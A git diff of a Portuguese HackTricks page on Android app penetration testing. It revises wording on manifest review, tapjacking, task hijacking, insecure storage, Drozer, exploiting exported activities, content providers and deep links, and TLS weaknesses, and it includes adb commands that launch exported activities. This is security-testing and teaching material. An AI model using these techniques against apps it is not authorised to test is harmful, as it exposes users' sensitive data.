* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,10 +7,10 @@
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no GitHub.
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,13 +19,13 @@ Outras maneiras de apoiar o HackTricks:
|
|||
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
|
||||
Envolver-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
||||
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
||||
|
||||
|
@ -78,30 +78,24 @@ Preste atenção especial às **URLs do firebase** e verifique se estão mal con
|
|||
|
||||
### Compreensão básica da aplicação - Manifest.xml, strings.xml
|
||||
|
||||
A **análise dos arquivos _Manifest.xml_ e _strings.xml_ de uma aplicação pode revelar vulnerabilidades de segurança potenciais**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e descompactando-o.
|
||||
A **análise dos arquivos Manifest.xml e strings.xml de uma aplicação pode revelar vulnerabilidades de segurança potenciais**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e descompactando-o.
|
||||
|
||||
**Vulnerabilidades** identificadas no **Manifest.xml** incluem:
|
||||
|
||||
* **Aplicativos Debugáveis**: Aplicativos definidos como debugáveis (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para entender melhor como explorar aplicativos debugáveis, consulte um tutorial sobre como encontrar e explorar aplicativos debugáveis em um dispositivo.
|
||||
|
||||
* **Configurações de Backup**: O atributo `android:allowBackup="false"` deve ser definido explicitamente para aplicativos que lidam com informações sensíveis para evitar backups não autorizados via adb, especialmente quando a depuração USB está ativada.
|
||||
|
||||
* **Segurança de Rede**: Configurações personalizadas de segurança de rede (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como pins de certificado e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
|
||||
|
||||
* **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante os testes dinâmicos pode revelar como explorar esses componentes.
|
||||
|
||||
* **Provedores de Conteúdo e FileProviders**: Provedores de conteúdo expostos podem permitir acesso ou modificação não autorizados de dados. A configuração dos FileProviders também deve ser examinada.
|
||||
|
||||
* **Receptores de Broadcast e Esquemas de URL**: Esses componentes podem ser aproveitados para exploração, com atenção especial à forma como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
|
||||
|
||||
* **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões antigas e vulneráveis do Android por motivos de segurança.
|
||||
|
||||
Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, destacando a necessidade de uma revisão cuidadosa desses recursos.
|
||||
Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, destacando a necessidade de revisão cuidadosa desses recursos.
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** é um ataque em que um **aplicativo malicioso** é lançado e **se posiciona sobre um aplicativo da vítima**. Uma vez que obscurece visualmente o aplicativo da vítima, sua interface de usuário é projetada de forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo da vítima.\
|
||||
Na prática, ele **cega o usuário, fazendo-o acreditar que está realizando ações no aplicativo da vítima**.
|
||||
**Tapjacking** é um ataque onde um **aplicativo malicioso** é lançado e **se posiciona sobre um aplicativo vítima**. Uma vez que obscurece visualmente o aplicativo vítima, sua interface de usuário é projetada de forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo vítima.\
|
||||
Na prática, **cega o usuário para que ele não saiba que está realmente realizando ações no aplicativo vítima**.
|
||||
|
||||
Encontre mais informações em:
|
||||
|
||||
|
@ -111,7 +105,7 @@ Encontre mais informações em:
|
|||
|
||||
### Sequestro de Tarefas
|
||||
|
||||
Uma **atividade** com o **`launchMode`** definido como **`singleTask` sem `taskAffinity`** definido é vulnerável ao sequestro de tarefas. Isso significa que um **aplicativo** pode ser instalado e, se lançado antes do aplicativo real, pode **sequestrar a tarefa do aplicativo real** (então o usuário estará interagindo com o **aplicativo malicioso pensando que está usando o real**).
|
||||
Uma **atividade** com o **`launchMode`** definido como **`singleTask` sem `taskAffinity`** definido é vulnerável ao sequestro de tarefas. Isso significa que um **aplicativo** pode ser instalado e, se lançado antes do aplicativo real, poderia **sequestrar a tarefa do aplicativo real** (então o usuário estará interagindo com o **aplicativo malicioso pensando que está usando o real**).
|
||||
|
||||
Mais informações em:
|
||||
|
||||
|
@ -123,29 +117,26 @@ Mais informações em:
|
|||
|
||||
**Armazenamento Interno**
|
||||
|
||||
No Android, arquivos **armazenados** no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pelo **aplicativo** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria dos aplicativos. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicativos. No entanto, esses modos **não restringem o acesso** a esses arquivos por outros aplicativos, incluindo possivelmente maliciosos.
|
||||
No Android, arquivos armazenados no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pelo **aplicativo** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria dos aplicativos. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicativos. No entanto, esses modos **não restringem o acesso** a esses arquivos por outros aplicativos, incluindo possivelmente maliciosos.
|
||||
|
||||
1. **Análise Estática:**
|
||||
- **Garanta** que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente examinado**. Esses modos **podem potencialmente expor** arquivos a **acessos não intencionais ou não autorizados**.
|
||||
|
||||
* **Garanta** que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente examinado**. Esses modos **podem potencialmente expor** arquivos a **acessos não intencionais ou não autorizados**.
|
||||
2. **Análise Dinâmica:**
|
||||
- **Verifique** as **permissões** definidas nos arquivos criados pelo aplicativo. Especificamente, **verifique** se algum arquivo está **configurado para ser legível ou gravável globalmente**. Isso pode representar um risco significativo à segurança, pois permitiria que **qualquer aplicativo** instalado no dispositivo, independentemente de sua origem ou intenção, **leia ou modifique** esses arquivos.
|
||||
* **Verifique** as **permissões** definidas nos arquivos criados pelo aplicativo. Especificamente, **verifique** se algum arquivo está **configurado para ser legível ou gravável globalmente**. Isso pode representar um risco significativo à segurança, pois permitiria que **qualquer aplicativo** instalado no dispositivo, independentemente de sua origem ou intenção, **leia ou modifique** esses arquivos.
|
||||
|
||||
**Armazenamento Externo**
|
||||
|
||||
Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas precauções devem ser tomadas:
|
||||
|
||||
1. **Acessibilidade**:
|
||||
- Arquivos no armazenamento externo são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicativo ou usuário pode acessar esses arquivos.
|
||||
|
||||
* Arquivos no armazenamento externo são **globalmente legíveis e graváveis**. Isso significa que qualquer aplicativo ou usuário pode acessar esses arquivos.
|
||||
2. **Preocupações de Segurança**:
|
||||
- Dada a facilidade de acesso, é aconselhável **não armazenar informações sensíveis** no armazenamento externo.
|
||||
- O armazenamento externo pode ser removido ou acessado por qualquer aplicativo, tornando-o menos seguro.
|
||||
|
||||
* Dada a facilidade de acesso, é aconselhável **não armazenar informações sensíveis** no armazenamento externo.
|
||||
* O armazenamento externo pode ser removido ou acessado por qualquer aplicativo, tornando-o menos seguro.
|
||||
3. **Manuseio de Dados do Armazenamento Externo**:
|
||||
- Sempre **realize validação de entrada** nos dados recuperados do armazenamento externo. Isso é crucial porque os dados são de uma fonte não confiável.
|
||||
- Armazenar executáveis ou arquivos de classe no armazenamento externo para carregamento dinâmico é fortemente desencorajado.
|
||||
- Se seu aplicativo precisar recuperar arquivos executáveis do armazenamento externo, garanta que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Esta etapa é vital para manter a integridade de segurança do seu aplicativo.
|
||||
* Sempre **realize validação de entrada** nos dados recuperados do armazenamento externo. Isso é crucial porque os dados são de uma fonte não confiável.
|
||||
* Armazenar executáveis ou arquivos de classe no armazenamento externo para carregamento dinâmico é fortemente desencorajado.
|
||||
* Se seu aplicativo precisar recuperar arquivos executáveis do armazenamento externo, garanta que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Este passo é vital para manter a integridade de segurança do seu aplicativo.
|
||||
|
||||
O armazenamento externo pode ser **acessado** em `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
|
@ -175,14 +166,14 @@ Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os cript
|
|||
|
||||
**Uso de Algoritmos Inseguros e/ou Obsoletos**
|
||||
|
||||
Os desenvolvedores não devem usar algoritmos **obsoletos** para realizar **verificações** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, hashes resistentes a ataques de força bruta devem ser usados com salt.
|
||||
Os desenvolvedores não devem usar algoritmos obsoletos para realizar verificações de autorização, armazenar ou enviar dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se hashes forem usados para armazenar senhas, por exemplo, hashes resistentes a ataques de força bruta devem ser usados com salt.
|
||||
|
||||
### Outras verificações
|
||||
|
||||
* É recomendado **ofuscar o APK** para dificultar o trabalho de engenharia reversa para os atacantes.
|
||||
* Se o aplicativo for sensível (como aplicativos bancários), ele deve realizar suas **próprias verificações para ver se o dispositivo móvel está rooteado** e agir em conformidade.
|
||||
* Se o aplicativo for sensível (como aplicativos bancários), ele deve verificar se está sendo usado um **emulador**.
|
||||
* Se o aplicativo for sensível (como aplicativos bancários), ele deve **verificar sua própria integridade antes de executá-lo** para verificar se foi modificado.
|
||||
* Se o aplicativo for sensível (como aplicativos bancários), ele deve realizar suas próprias verificações para ver se o dispositivo móvel está rooteado e agir em conformidade.
|
||||
* Se o aplicativo for sensível (como aplicativos bancários), ele deve verificar se um emulador está sendo usado.
|
||||
* Se o aplicativo for sensível (como aplicativos bancários), ele deve verificar sua própria integridade antes de executá-lo para verificar se foi modificado.
|
||||
* Use [**APKiD**](https://github.com/rednaga/APKiD) para verificar qual compilador/packer/ofuscador foi usado para construir o APK
|
||||
|
||||
### Aplicativo React Native
|
||||
|
@ -207,7 +198,7 @@ De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desup
|
|||
|
||||
### Análise Estática Automatizada de Código
|
||||
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** escaneando o **código** do aplicativo. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **locais** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **locais perigosos** onde a entrada maliciosa do usuário poderia causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
|
||||
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar vulnerabilidades escaneando o código do aplicativo. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam à ferramenta os **locais** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam à ferramenta **locais perigosos** onde a entrada maliciosa do usuário poderia causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indicam uma vulnerabilidade.
|
||||
|
||||
Com esse conhecimento, **mariana-trench revisará o código e encontrará possíveis vulnerabilidades nele**.
|
||||
|
||||
|
@ -215,7 +206,7 @@ Com esse conhecimento, **mariana-trench revisará o código e encontrará possí
|
|||
|
||||
Um aplicativo pode conter segredos (chaves de API, senhas, URLs ocultas, subdomínios...) que você pode descobrir. Você pode usar uma ferramenta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Bypass de Autenticação Biométrica
|
||||
### Bypass na Autenticação Biométrica
|
||||
|
||||
{% content-ref url="bypass-biometric-authentication-android.md" %}
|
||||
[bypass-biometric-authentication-android.md](bypass-biometric-authentication-android.md)
|
||||
|
@ -259,7 +250,7 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
|
|||
|
||||
### Análise Dinâmica Online
|
||||
|
||||
Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Essa plataforma permite que você **faça upload** e **execute** APKs, sendo útil para ver como um APK está se comportando.
|
||||
Você pode criar uma **conta gratuita** em: [https://appetize.io/](https://appetize.io). Esta plataforma permite que você **faça upload** e **execute** APKs, sendo útil para ver como um APK está se comportando.
|
||||
|
||||
Você pode até **ver os logs do seu aplicativo** na web e se conectar por meio de **adb**.
|
||||
|
||||
|
@ -278,7 +269,7 @@ Graças à conexão ADB, você pode usar **Drozer** e **Frida** dentro dos emula
|
|||
[avd-android-virtual-device.md](avd-android-virtual-device.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Personal Edition, você precisa criar uma conta. _É recomendável **baixar** a versão **COM**_ _**VirtualBox** para evitar erros potenciais._)
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Personal Edition, você precisa criar uma conta. _É recomendado **baixar** a versão **COM**_ _**VirtualBox** para evitar erros potenciais._)
|
||||
* [**Nox**](https://es.bignox.com) (Gratuito, mas não suporta Frida ou Drozer).
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -289,58 +280,57 @@ Para **instalar serviços do Google** (como a Play Store) no Genymotion, você p
|
|||
|
||||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
Além disso, observe que na **configuração da VM Android no Genymotion** você pode selecionar o **modo de rede Bridge** (isso será útil se você for conectar à VM Android de uma VM diferente com as ferramentas).
|
||||
|
||||
Além disso, observe que na **configuração da VM Android no Genymotion** você pode selecionar o modo **Bridge Network** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas).
|
||||
#### Usar um dispositivo físico
|
||||
|
||||
Você precisa ativar as opções de **depuração** e será ótimo se você puder **rootear**:
|
||||
Você precisa ativar as opções de **depuração** e será legal se você puder **fazer root** nele:
|
||||
|
||||
1. **Configurações**.
|
||||
2. (A partir do Android 8.0) Selecione **Sistema**.
|
||||
3. Selecione **Sobre o telefone**.
|
||||
4. Pressione **Número da versão** 7 vezes.
|
||||
4. Pressione **Número da compilação** 7 vezes.
|
||||
5. Volte e você encontrará as **Opções do desenvolvedor**.
|
||||
|
||||
> Depois de instalar o aplicativo, a primeira coisa que você deve fazer é testá-lo e investigar o que ele faz, como funciona e se familiarizar com ele.\
|
||||
> Sugiro **realizar esta análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como o aplicativo funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar posteriormente.
|
||||
> Eu sugiro **realizar essa análise dinâmica inicial usando a análise dinâmica do MobSF + pidcat**, para que possamos **aprender como o aplicativo funciona** enquanto o MobSF **captura** muitos **dados interessantes** que você pode revisar posteriormente.
|
||||
|
||||
### Vazamento de Dados Não Intencionais
|
||||
### Vazamento de Dados Não Intencional
|
||||
|
||||
**Logging**
|
||||
**Registro**
|
||||
|
||||
Os desenvolvedores devem ter cuidado ao expor informações de **depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs do aplicativo e identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
|
||||
Os desenvolvedores devem ter cuidado ao expor informações de **depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar os logs do aplicativo a fim de identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Observe que a partir do **Android 4.0 ou posterior**, **os aplicativos só podem acessar seus próprios logs**. Portanto, os aplicativos não podem acessar os logs de outros aplicativos.\
|
||||
De qualquer forma, ainda é recomendado **não registrar informações sensíveis**.
|
||||
De qualquer forma, ainda é recomendável **não registrar informações sensíveis**.
|
||||
{% endhint %}
|
||||
|
||||
**Armazenamento em Cache do Buffer de Copiar/Colar**
|
||||
**Armazenamento de Buffer de Copiar/Colar**
|
||||
|
||||
O framework baseado em **clipboard** do Android permite funcionalidades de copiar/colar em aplicativos, mas representa um risco, pois **outros aplicativos** podem **acessar** a área de transferência, expondo potencialmente dados sensíveis. É crucial **desativar as funções de copiar/colar** para seções sensíveis de um aplicativo, como detalhes de cartão de crédito, para evitar vazamentos de dados.
|
||||
|
||||
**Logs de Falhas**
|
||||
|
||||
Se um aplicativo **falhar** e **salvar logs**, esses logs podem ajudar os atacantes, especialmente quando o aplicativo não pode ser engenhado reversamente. Para mitigar esse risco, evite registrar falhas e, se os logs precisarem ser transmitidos pela rede, garanta que sejam enviados por meio de um canal SSL para segurança.
|
||||
Se um aplicativo **falhar** e **salvar logs**, esses logs podem ajudar os atacantes, especialmente quando o aplicativo não pode ser engenhado reversamente. Para mitigar esse risco, evite registrar em caso de falhas e, se os logs precisarem ser transmitidos pela rede, certifique-se de que sejam enviados por meio de um canal SSL para segurança.
|
||||
|
||||
Como testador de penetração, **tente dar uma olhada nesses logs**.
|
||||
Como pentester, **tente dar uma olhada nesses logs**.
|
||||
|
||||
**Dados Analíticos Enviados a Terceiros**
|
||||
|
||||
Os aplicativos frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a uma implementação inadequada pelos desenvolvedores. Para identificar vazamentos de dados potenciais, é aconselhável **interceptar o tráfego do aplicativo** e verificar se há informações sensíveis sendo enviadas para serviços de terceiros.
|
||||
Os aplicativos frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido a uma implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego do aplicativo** e verificar se há envio de informações sensíveis para serviços de terceiros.
|
||||
|
||||
### Bancos de Dados SQLite
|
||||
|
||||
A maioria dos aplicativos usará **bancos de dados SQLite internos** para salvar informações. Durante o teste de penetração, dê uma **olhada** nos **bancos de dados** criados, nos nomes das **tabelas** e **colunas** e em todos os **dados** salvos, pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\
|
||||
A maioria dos aplicativos usará **bancos de dados SQLite internos** para salvar informações. Durante o pentest, dê uma **olhada** nos **bancos de dados** criados, nos nomes das **tabelas** e **colunas** e em todos os **dados** salvos, pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\
|
||||
Os bancos de dados devem estar localizados em `/data/data/o.nome.do.pacote/bancos de dados` como `/data/data/com.mwr.example.sieve/bancos de dados`
|
||||
|
||||
Se o banco de dados estiver salvando informações confidenciais e estiver **criptografado** mas você pode **encontrar** a **senha** dentro do aplicativo, ainda é uma **vulnerabilidade**.
|
||||
Se o banco de dados estiver salvando informações confidenciais e estiver **criptografado**, mas você pode **encontrar** a **senha** dentro do aplicativo, ainda é uma **vulnerabilidade**.
|
||||
|
||||
Enumere as tabelas usando `.tables` e enumere as colunas das tabelas fazendo `.schema <nome_da_tabela>`
|
||||
|
||||
### Drozer (Atividades de Exploração, Provedores de Conteúdo e Serviços)
|
||||
|
||||
Do [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permite que você **assuma o papel de um aplicativo Android** e interaja com outros aplicativos. Ele pode fazer **qualquer coisa que um aplicativo instalado possa fazer**, como fazer uso do mecanismo de Comunicação entre Processos (IPC) do Android e interagir com o sistema operacional subjacente. .\
|
||||
Do [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** permite que você **assuma o papel de um aplicativo Android** e interaja com outros aplicativos. Ele pode fazer **qualquer coisa que um aplicativo instalado possa fazer**, como fazer uso do mecanismo de Comunicação entre Processos (IPC) do Android e interagir com o sistema operacional subjacente.\
|
||||
Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços exportados e Provedores de Conteúdo**, como você aprenderá nas seções a seguir.
|
||||
|
||||
### Explorando Atividades Exportadas
|
||||
|
@ -348,15 +338,15 @@ Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços
|
|||
[**Leia isso se quiser relembrar o que é uma Atividade Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Lembre-se também de que o código de uma atividade começa no método **`onCreate`**.
|
||||
|
||||
**Bypass de Autorização**
|
||||
**Burla de Autorização**
|
||||
|
||||
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderia **burlar** os **mecanismos de autenticação** para acessá-la.
|
||||
|
||||
[**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/#activities)
|
||||
[**Aprenda como explorar atividades exportadas com o Drozer.**](drozer-tutorial/#activities)
|
||||
|
||||
Você também pode iniciar uma atividade exportada a partir do adb:
|
||||
|
||||
* PackageName é com.example.demo
|
||||
* Nome do Pacote é com.example.demo
|
||||
* Nome da Atividade Exportada é com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
@ -373,12 +363,12 @@ Note que uma violação de autorização nem sempre é uma vulnerabilidade, isso
|
|||
|
||||
#### Tapjacking
|
||||
|
||||
Se o tapjacking não for prevenido, você poderia abusar da atividade exportada para fazer o **usuário realizar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking, siga o link**](./#tapjacking).
|
||||
Se o tapjacking não for prevenido, você poderia abusar da atividade exportada para fazer com que o **usuário realize ações inesperadas**. Para mais informações sobre [**o que é Tapjacking, siga o link**](./#tapjacking).
|
||||
|
||||
### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis
|
||||
|
||||
[**Leia isso se quiser relembrar o que é um Provedor de Conteúdo.**](android-applications-basics.md#content-provider)\
|
||||
Os provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções de SQL** e **travessias de caminho** pois eles podem ser vulneráveis.
|
||||
Os provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados** sensíveis deles. Também é interessante testar possíveis **injeções de SQL** e **travessias de caminho** pois eles podem ser vulneráveis.
|
||||
|
||||
[**Aprenda como explorar Provedores de Conteúdo com o Drozer.**](drozer-tutorial/#content-providers)
|
||||
|
||||
|
@ -400,7 +390,7 @@ Um receptor de transmissão estará aguardando por um tipo de mensagem. Dependen
|
|||
|
||||
### **Explorando Esquemas / Links Profundos**
|
||||
|
||||
Você pode procurar links profundos manualmente, usando ferramentas como o MobSF ou scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Você pode procurar links profundos manualmente, usando ferramentas como MobSF ou scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Você pode **abrir** um **esquema** declarado usando **adb** ou um **navegador**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -409,7 +399,7 @@ adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?para
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
_Observe que você pode **omitir o nome do pacote** e o celular chamará automaticamente o aplicativo que deve abrir o link._
|
||||
_Obs: você pode **omitir o nome do pacote** e o celular chamará automaticamente o aplicativo que deve abrir o link._
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```markup
|
||||
|
@ -441,13 +431,13 @@ Um [relatório interessante de recompensa por bugs](https://hackerone.com/report
|
|||
|
||||
### Falhas na Inspeção e Verificação da Camada de Transporte
|
||||
|
||||
- **Certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum para esses aplicativos ignorar avisos e aceitar certificados autoassinados ou, em alguns casos, voltar a usar conexões HTTP.
|
||||
- **Negociações durante o handshake SSL/TLS às vezes são fracas**, empregando conjuntos de cifras inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques do tipo homem-no-meio (MITM), permitindo que invasores descriptografem os dados.
|
||||
- **Vazamento de informações privadas** é um risco quando aplicativos autenticam usando canais seguros, mas depois comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
|
||||
* **Certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum para esses aplicativos ignorar avisos e aceitar certificados autoassinados ou, em alguns casos, voltar a usar conexões HTTP.
|
||||
* **Negociações durante o handshake SSL/TLS às vezes são fracas**, empregando conjuntos de cifras inseguros. Essa vulnerabilidade torna a conexão suscetível a ataques do tipo homem-no-meio (MITM), permitindo que invasores descriptografem os dados.
|
||||
* **Vazamento de informações privadas** é um risco quando aplicativos autenticam usando canais seguros, mas depois comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
|
||||
|
||||
#### Verificação de Certificado
|
||||
|
||||
Vamos focar na **verificação de certificado**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não criptografados podem representar riscos significativos. Para etapas detalhadas sobre a verificação de certificados do servidor e abordagem de vulnerabilidades, **[este recurso](https://manifestsecurity.com/android-application-security-part-10/)** fornece orientações abrangentes.
|
||||
Vamos focar na **verificação de certificado**. A integridade do certificado do servidor deve ser verificada para aumentar a segurança. Isso é crucial porque configurações TLS inseguras e a transmissão de dados sensíveis por canais não criptografados podem representar riscos significativos. Para etapas detalhadas sobre a verificação de certificados de servidor e abordagem de vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) fornece orientações abrangentes.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
|
@ -455,19 +445,19 @@ SSL Pinning é uma medida de segurança em que o aplicativo verifica o certifica
|
|||
|
||||
#### Inspeção de Tráfego
|
